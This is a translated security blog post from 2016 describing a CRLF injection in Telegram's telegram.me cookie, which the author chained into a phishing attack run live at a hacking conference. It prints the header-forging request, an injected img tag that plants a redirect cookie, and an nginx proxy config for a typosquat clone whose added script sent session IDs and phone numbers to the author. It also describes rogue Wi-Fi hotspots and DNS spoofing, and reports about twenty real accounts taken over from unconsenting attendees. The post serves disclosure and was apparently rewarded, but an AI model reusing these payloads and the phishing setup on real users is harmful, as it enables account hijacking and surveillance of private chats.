What is Telegram? For me it’s a breakthrough messenger. It’s really convenient, cross-platform, modern and secure. And it keeps improving and evolving – there are no words to express the joy of using it! Channels, bots, groups – that’s all about Telegram. Even if you can’t install the (great) client app for some reason, you can always use the official web version right in your browser! And messages there don’t fly in plaintext, that’s really helpful to prevent eavesdropping even if you have NSA root certificate installed in your OS.
In addition to the official client there is a telegram.me domain that is being used very actively. It serves as a link to contact, invite link to a group or channel (for example, mine), you can also use it to add stickers. If a user is authenticated in a web client, there is a stel_web_auth cookie that defines where to redirect him.
Here’s an example request to telegram.me with cookie:
Request
GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost
Response
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:02:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=823678114; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000
It’s worth noticing that you can insert \r\n symbols in the cookie which allows you to forge server response headers or even the whole HTTP packet for example.
That leads to XSS at least (not surprising, it’s Internet Explorer!).
Usually to show CRLF vulnerability Set-cookie header is used to set a cookie. But here I already have CRLF injection in cookie, so there’s no need to do that :))
Here’s an example of headers forging:
Request
GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20
Response
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:23:31 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=1297301663; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost
Header1: ok
Header2: ok
other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000
I told devs about this feature (and couple of others) on March 2nd. What a crazy drug addict you must be to use Telegram in Internet Explorer (old versions, what’s even worse)?
Note that there is a Strict-Transport-Security header that prevents you from getting a precious cookie if you try to use a MiTM-attack, despite the fact that there is no Secure flag. That means that cookie can be set with XSS (no HttpOnly flag), but I couldn’t find it right away.
And then I remembered one feature of modern web applications. Subdomain (blabla.telegram.me) can set a cookie to the main domain (telegram.me).
What you get is not an open redirect but a tricky redirect to a foreign domain using telegram.me domain.
What I need is:
- Broadcast my Wi-Fi hotspot.
- Redirect users to a non-existing subdomain that sets a cookie.
- Force user to visit my subdomain. Taking into account the first step – it is easy.
When user receives a link – to a group, for example – he will be redirected to the fake app. Wanna try? Let’s go!
Preparing the fake
Using urlcrazy tool I generated free domains that can be used for fake. Telergam.org looked really nice. A word ‘telegram’ is complicated enough to miss the swap of two monospaced consonant letters in the middle.
Rented a cloud server for a month and created a fake. Not a fake per se though. I used a proxying with nginx approach (kudos to @sergeybelove). You can set up a proxy_pass module to proxy all requests to a different site, including request modification on-the-fly.
Here’s the complete “fake” config of the main telegram website:
server {
listen 80; #listen to port 80
server_name telergam.org; #set the domain to respond to
location / {
proxy_pass https://telegram.org; #proxy telegram website
}
Also you can use sub_filter module to change the line contents to whatever you want. The web.telegram proxy was set up in the same fashion with some corrections – client was sending current session ID (and everything else from localStorage), phone number, browser to my server.
What else do you need to be happy? SSL? Advanced users will immediately suspect that something is wrong, but the “green lock” will add some points to the fake.
So we register a free account on cloudflare and get the ability to hide server’s real IP address and precious lock.
Now try to find 10 differences:
But if you look at the page source, there is an additional js that sends victim’s data to my server.
Positive Hack Days
Not so long ago, at ZeroNights conference I already played with MiTM, handing out “free Wi-Fi”, stripping SSL and collecting traffic. This time I was not interested in traffic, my main goal was to distribute magic cookies into user’s
Telegram – a new era of messaging browsers!
Step 1. Wi-Fi
We had a 2 wi-fi pineapple, 4500 potential victims, 3 alpha’s, few 8 dbi antennas and whole bunch of Wi-Fi cards all kind of sorts and colors, and also MITMf, DNSspoof, Mana Toolkit, strip-n-inject and proxying server with fake dns-server. Not that we needed all that for the trip but once you get locked into a serious MiTM collection, the tendency is to push it as far as you can. The only thing that really worried me was BeEF. There is nothing in the world more helpless, irresponsible and depraved than an XSS zombie, and I knew we’d get into that rotten stuff pretty soon.
Pineapple devices come to help. These are special devices for fake Wi-Fi hotspot attacks. The conference extended over two floors, but I wanted to cover the maximum number of people. There were also official “PHD” SSID, so all i needed was the power to the device. Outlet and a space under a table on the first floor suited perfectly.
More powerful pineapple on the second floor got more lucky – it got an ethernet cable, so it was sharing fast and stable internet connection. “Aplha” with laptop (same ones i used on ZeroNights) was traveling with me. I also wanted to use mr3040 with OpenWRT, but because it was really crowded and device was not so powerful i decided against it. Also a powerful router Xiaomi was brought from Saint-Petersburg, but due to lack of time it was left in the box. Moreover, the coverage was already sufficient for a successful attack.
Step two. DNS
The task was to set a cookie on telegram.me, so I created a i.telegram.me subdomain on the server and it was answering, setting up cookie for every request (without content). I didn’t think there was much sense in setting DNS with DHCP, but still set up unbound and opened it to the world. Right after the PHDays abuse email came, saying that someone managed to scan dns and used it to DDoS .gov sites.
DNSMasqSpoof and DNSspoof were also used. First option was buggy, so we used the last one.
Step 3.Injection
This time we don’t have to use sslstrip/sslsplit/hsts bypass. Why would we want to reveal ourselves? Browser will start screaming about invalid certificate, but we want them just to use the internet. A victim will almost certainly visit an http resource, and here we are. That’s why the following tag was included in the end of the document:
<img src="http://i.telegram.me/" onerror=remove()>
Simple – GET-request is sent to non-existing domain, but fake DNS responses with IP address I need, and the header with set-cookie sent back from fake domain. Because the tag is image, onerror event triggers and the tag gets removed.
Fellows from Hardware Village proposed to make a BeEf injection to fully control the victim’s browser and then display all victims on the TV ( that’s right – just like at BlackHat). Unfortunately there was no time, gotta do it next time.
Request
GET / HTTP/1.1
Host: i.telegram.me
Accept: */*
Response
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 20 May 2016 22:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_web_auth=https%253A%252F%252Fweb.telergam.org%252F; expires=Sat, 20-May-2017 22:12:39 GMT; Max-Age=31536000; domain=.telegram.me
As a result, if a user visits any HTTP website using my Wi-Fi, his browser becomes “infected”, and then when he visits any telegram.me link – he will be redirected to the fake auth page.
Results
I was expecting better results…
On the first day of active attack (when the conference has maximum amount of people) – not a single success. Nobody. In the middle of the day few observant people came to the sniffer’s pages, looked around the fake telegram. At the start of the night there was 1 successful log in. Well, at least so …
Second log in happened at 1:30 am, it may be count for a first day.
Second day I decided to re-check the equipment, to see if everything was working correctly. I tried to launch browser – all good, cookie is being set up, telegram.me correctly redirects, log in attempt logs correctly. I spent a few hours to find out the problem. People were connecting to the hotspot. Large amount of clients were mobile, but there was a good portion of laptops. At the Hardware Village in addition to injection I started mitmf (with responder), just in case. Again two log in’s and only at night.
Next day was a working day. I decided t
o write this post on the weekend, saying – fellas, here’s a potential way for massive telegram hack. There is nothing worse than unfulfilled hopes. In the evening, I wanted to kill the server…But..
I saw 13 log in’s in fake telegram during whole business day (first one at 12:22 pm, last one at 6:29 pm).
That’s great! The method is working long-term, because you never know when users uses the link! I set cookie to last for 1 year, won’t be surprised if someone would login in winter.
May 20 (two days after the conference) – three logins
May 21 (as of this writing) – another three
Conclusions
Pros:
- Remember when some journalists telegram got hacked? There was a huge fail – hacker’s IP address was shown, because telegram tells you the IP address from what you log in. In our case the IP address is the same as victim’s IP. And because we control the client, we have access to all the chats and ability to take any action on behalf of the victim.
- Even 2FA won’t help.
- We can change the exit button to destroy only client session, which will allow us to watch all the victim chats all the time, until the victim shuts all active sessions in settings.
- This approach can be modified and evolved.
Cons:
- The user might not enter at all. Out of 4500 people from hacking conference the success percentage was below 1%.
- We won’t get the access to secret chats, obviously.
- The method is designed for inattentive users. But I personally – wouldn’t have noticed.
- If users authorise in the official web client, cookie gets overwritten.
With all being said, telegram remains one of the best (and secure) messengers.
Guys whose accounts I took: it was a part of a research, no messages have been read, all collected data is destroyed along with the server.
See you next time 🙂
P.S. Fellows from Telegram, if you happen to read this: pls add favourites for contacts and chats so they don’t get lost. Thank you!
UPD: I was contacted by Telegram representatives, the March letter with bugs was found (in spam?). They asked me for the account to send the bugbounty reward.
May 21, 2016
//Translated by @no_kriminality
The “__Secure-” prefix (https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) on “stel_web_auth” would have been an effective protection against this attack.
By the way I do not understand why Telegram does not use the “includeSubDomains” directive.